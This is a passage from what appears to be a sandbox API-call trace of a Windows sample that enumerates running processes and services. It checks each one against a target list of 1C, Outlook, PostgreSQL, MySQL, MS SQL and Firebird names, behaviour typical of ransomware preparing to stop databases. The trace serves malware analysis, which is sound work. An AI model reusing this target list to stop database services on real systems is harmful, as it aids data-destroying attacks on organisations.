lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0231.988] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0231.988] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0231.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0231.988] lstrlenW (lpString="ShellHWDetection") returned 16 [0231.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0231.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0231.988] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0231.988] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0231.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0231.989] lstrlenW (lpString="Spooler") returned 7 [0231.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0231.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0231.989] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0231.989] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0231.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0231.989] lstrlenW (lpString="SysMain") returned 7 [0231.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0231.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0231.989] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0231.989] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0231.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0231.989] lstrlenW (lpString="Themes") returned 6 [0231.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0231.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0231.990] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0231.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0231.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0231.990] lstrlenW (lpString="TrkWks") returned 6 [0231.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0231.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0231.990] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0231.990] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0231.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0231.990] lstrlenW (lpString="UxSms") returned 5 [0231.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0231.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0231.991] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0231.991] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0231.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0231.991] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0231.991] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0231.998] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.999] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0232.000] lstrlenW (lpString="System") returned 6 [0232.000] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0232.000] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0232.000] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0232.000] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0232.001] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0232.001] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0232.001] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0232.001] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0232.002] lstrlenW (lpString="smss.exe") returned 8 [0232.002] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0232.002] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0232.002] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0232.002] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0232.002] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0232.002] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0232.002] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0232.002] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.003] lstrlenW (lpString="csrss.exe") returned 9 [0232.003] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0232.004] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0232.004] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0232.004] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0232.004] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0232.004] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0232.004] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0232.004] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0232.005] lstrlenW (lpString="wininit.exe") returned 11 [0232.005] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0232.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0232.006] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0232.006] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0232.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0232.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0232.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0232.006] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.007] lstrlenW (lpString="csrss.exe") returned 9 [0232.007] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0232.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0232.007] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0232.008] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0232.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0232.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0232.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0232.008] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0232.009] lstrlenW (lpString="winlogon.exe") returned 12 [0232.009] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0232.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0232.009] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0232.009] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0232.009] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0232.009] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0232.010] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0232.010] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0232.011] lstrlenW (lpString="services.exe") returned 12 [0232.011] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0232.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0232.011] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0232.011] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0232.011] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0232.011] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0232.052] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0232.052] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0232.053] lstrlenW (lpString="lsass.exe") returned 9 [0232.053] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0232.053] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0232.053] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0232.053] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0232.053] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0232.053] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0232.053] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0232.053] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0232.055] lstrlenW (lpString="lsm.exe") returned 7 [0232.055] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0232.055] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0232.055] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0232.055] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0232.055] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0232.055] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0232.055] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0232.055] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.056] lstrlenW (lpString="svchost.exe") returned 11 [0232.056] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0232.056] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0232.056] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0232.056] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0232.057] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0232.057] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0232.057] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0232.057] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.058] lstrlenW (lpString="svchost.exe") returned 11 [0232.058] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0232.059] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0232.059] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0232.059] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0232.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0232.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0232.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0232.059] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.061] lstrlenW (lpString="svchost.exe") returned 11 [0232.061] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0232.061] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0232.061] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0232.061] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0232.061] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0232.061] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0232.061] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0232.061] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.062] lstrlenW (lpString="svchost.exe") returned 11 [0232.062] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.063] lstrlenW (lpString="svchost.exe") returned 11 [0232.064] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0232.065] lstrlenW (lpString="audiodg.exe") returned 11 [0232.065] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.066] lstrlenW (lpString="svchost.exe") returned 11 [0232.066] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0232.067] lstrlenW (lpString="userinit.exe") returned 12 [0232.067] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0232.068] lstrlenW (lpString="explorer.exe") returned 12 [0232.068] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0232.069] lstrlenW (lpString="dwm.exe") returned 7 [0232.069] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.070] lstrlenW (lpString="svchost.exe") returned 11 [0232.070] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0232.071] lstrlenW (lpString="driver.exe") returned 10 [0232.071] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0232.072] lstrlenW (lpString="spoolsv.exe") returned 11 [0232.072] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0232.073] lstrlenW (lpString="taskhost.exe") returned 12 [0232.073] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.075] lstrlenW (lpString="svchost.exe") returned 11 [0232.075] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0232.076] lstrlenW (lpString="dllhost.exe") returned 11 [0232.076] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0232.077] lstrlenW (lpString="reader_sl.exe") returned 13 [0232.077] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0232.078] CloseHandle (hObject=0x3b0) returned 1 [0232.078] Sleep (dwMilliseconds=0x1f4) [0232.848] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c30b8 [0232.984] EnumServicesStatusExW (in: hSCManager=0x41c30b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0232.985] GetLastError () returned 0xea [0232.985] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x41d0998 [0232.985] EnumServicesStatusExW (in: hSCManager=0x41c30b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0232.989] CloseServiceHandle (hSCObject=0x41c30b8) returned 1 [0232.991] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0232.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0232.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0232.991] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0232.991] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0232.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0232.991] lstrlenW (lpString="AudioSrv") returned 8 [0232.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0232.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0232.991] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0232.991] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0232.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0232.992] lstrlenW (lpString="BFE") returned 3 [0232.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0232.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0232.992] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0232.992] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0232.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0232.992] lstrlenW (lpString="CryptSvc") returned 8 [0232.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0232.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0232.992] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0232.992] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0232.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0232.993] lstrlenW (lpString="CscService") returned 10 [0232.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0232.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0232.993] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0232.993] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0232.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0232.993] lstrlenW (lpString="DcomLaunch") returned 10 [0232.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0232.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0232.993] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0232.993] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0232.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0232.994] lstrlenW (lpString="Dhcp") returned 4 [0232.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0232.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0232.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0232.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0232.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0232.995] lstrlenW (lpString="Dnscache") returned 8 [0232.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0232.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0232.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0232.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0232.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0232.995] lstrlenW (lpString="DPS") returned 3 [0232.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0232.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0232.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0232.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0232.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0232.996] lstrlenW (lpString="eventlog") returned 8 [0232.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0232.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0232.996] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0232.996] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0232.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0232.996] lstrlenW (lpString="EventSystem") returned 11 [0232.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0232.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0232.996] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0232.996] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0232.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0232.996] lstrlenW (lpString="gpsvc") returned 5 [0232.997] lstrcmpiW 